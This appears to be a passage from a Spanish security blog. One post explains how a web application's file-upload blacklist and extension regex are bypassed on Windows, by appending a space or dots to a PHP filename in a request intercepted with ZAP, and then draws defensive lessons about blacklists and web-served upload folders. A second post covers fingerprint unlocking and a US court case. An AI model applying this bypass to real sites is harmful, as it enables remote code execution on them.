Lo mejor es que si se cambia el shebang (eso que empieza por #! en la primera línea) se puede invocar otros programas para interpretar el programa. Eso sí, teniendo que lidiar "a mano" con las complejidades del CGI. Que, por otro lado, tampoco son tantas ni tan grandes. Por ejemplo, ahí va PHP:
Imagen 4 - CGI escrito en PHP


O, puesto que estoy ejecutando Apache como usuario (no como servicio) ¿por qué no acordarnos de nuestra gran amiga, la calculadora?
Imagen 5 - La calculadora es buena. La calculadora es tu amiga

También me llama la atención que, aunque se prohíbe la subida de ficheros .EXE, no se dice nada de los PS1 de Powershell, los .VBS y los .JS de Windows Scripting Host, etc., que pueden proporcionar funcionalidades similares.

Todo ello por no pensar en que alguien suba un fichero HTML y tenga su XSS bien asentadito. O su tienda ilegal de fármacos o de falsificaciones de prendas de moda.

Es lo que tienen las listas negras: o estás al tanto de todas las posibilidades y sus consecuencias y lo haces todo a la perfección o después toca lamentarse.

Pero aún hay más. Hagamos borrón y cuenta nueva y exploremos otro camino.

Regular. O sea: ni bueno ni malo

Las expresiones regulares facilitan mucho las cosas a los programadores. Son potentes y sencillas... pero no siempre fáciles.

Quizá sea una trivialidad, pero resulta que para resolver un problema usando expresiones tienes que dominar dos cosas:
  • El problema que quieres resolver y sus condicionantes
  • Las expresiones regulares
Y cuando todo sale mal, muchas veces no sabes en cuál de ellas se falló. Como dije antes, yo estaba usando XAMPP sobre Windows. Uno de los muchos entornos en los que la aplicación puede ser desplegada. Y, como cada uno de ellos, con sus características propias.

En este caso, basta con fijarse en una de ellas: cuando en Windows creas un fichero cuyo nombre tiene espacios al final, dichos espacios son ignorados. Como una imagen vale más que mil palabras:
Imagen 6 - Espacio

 De modo que, si se intenta subir un fichero PHP...
Imagen 7 - Subiendo PHP


... y se intercepta la petición usando un proxy como ZAP y se modifica el nombre del fichero, añadiendo un espacio al final (y también el tamaño de la petición, que habrá que incrementar en uno como consecuencia de lo anterior)...
Imagen 8 - Modificando la petición

 ... El resultado será
Imagen 9 - Subido...

 Y, si se conoce en qué directorio ha sido colocado, el fichero será de lo más "aprovechable"

Imagen 10 - ...Y funcionando

Podría ser aún peor. Porque si se hubiera configurado la aplicación para no renombrar archivos, en lugar del espacios al final del nombre también valdría con uno o varios puntos:
Imagen 11 - Por si fuera poco

Por ir acabando

Menos mal que la aplicación hace otras comprobaciones y no deja que el nombre del fichero contenga cosas rarunas, como la barra  de directorio o la barra invertida. En realidad, ahí se hace un buen diseño y se limita los caracteres válidos, tanto para ficheros como para directorios, a un conjunto muy preciso: "a-zA-Z0-9+_.-" para los primeros y "a-zA-Z0-9+_-" para los segundos.

Lástima que las comprobaciones se hacen sólo para la parte del "nombre de archivo" y no para la de la extensión.

Por si a alguien le cabía duda: lo del upload era sólo la anécdota. Lo que realmente quería decir con este post era:
  • Eso de que los ficheros subidos vayan a un directorio que está publicado por el servidor web es muy, muy, muy mala idea.
  • En general, para esto de la seguridad: Lista negra= caca. Lista negra= problemas. Lista negra = quebraderos de cabeza.
  • Las expresiones regulares son como las cerillas: son algo bueno, pero tienes que ser responsable y saber lo que estás haciendo antes de usarlas. No hacen magia. No resuelven tus problemas. Sólo son una herramienta rápida para que tú los soluciones. Si tú te equivocas, las expresiones regulares te ayudarán a equivocarte más rápido.
No es éste, el de la subida de ficheros, el único problema de seguridad de la aplicación. Ésa cuyo nombre por ahora callo pero que alguien seguro que intentará, y posiblemente logrará, localizar. Que para eso están los buscadores.

Tiene tantos como para dedicarle un blog entero.

Lo bueno es que de los errores se aprende. Y mejor que sea de los ajenos.
(Continuará...)

sábado, 11 de febrero de 2017

Biometría y ataques de fuerza bruta

Los aspectos legales de los mecanismos biométricos para la seguridad son, cuando menos, sorprendentes. Hace algún tiempo, en un post llamado "Biometría: Identificación, Autenticación o Autorización", planteaba mis dudas sobre el estado actual de la tecnología biométrica y, de paso, dejaba caer que, en los Estados Unidos, las autoridades policiales y judiciales no pueden forzar a un acusado a entregar su contraseña pero sí a poner el dedo sobre el lector de huellas que desbloquee un equipo.

Y eso es lo que pasó en el caso de "el Estado de Minnesota contra Matthew Vaughan Diamond". Se forzó al acusado a desbloquear su teléfono y se dictaminó que eso no iba en contra de la "quinta enmienda". Esa que, entre otras cosas, dice que un acusado no puede testificar contra sí mismo. Y es que "hacer algo", como desbloquear un teléfono, no se considera prestar testimonio.

Pero, según me entero al oir un episodio del podcast Security Now...hubo apelación. Basada en que la policía no indicó al acusado qué dedo debía usar, sino que le ordenó usar "el que desbloqueara el teléfono". Y, como no, a alguien se le ocurrió que eso sí era forzar a testificar, a decir qué dedo había que usar.

No sé cómo terminarán estas cosas, pero a las autoridades les habría bastado con un ataque de fuerza bruta. Al fin y al cabo, sólo hay diez dedos a probar.

Me pongo a pensar en como elevar el número de posibilidades y me pregunto: ¿contratarán los ricos a gente para que les desbloqueen los teléfonos con datos más sensibles? ¿tendrán huellas dactilares los dedos de los pies?

Y mejor que me deje de preguntas, que ya habrá por ahí quien esté pensando en otras partes del cuerpo con las que incrementar el "espacio de claves".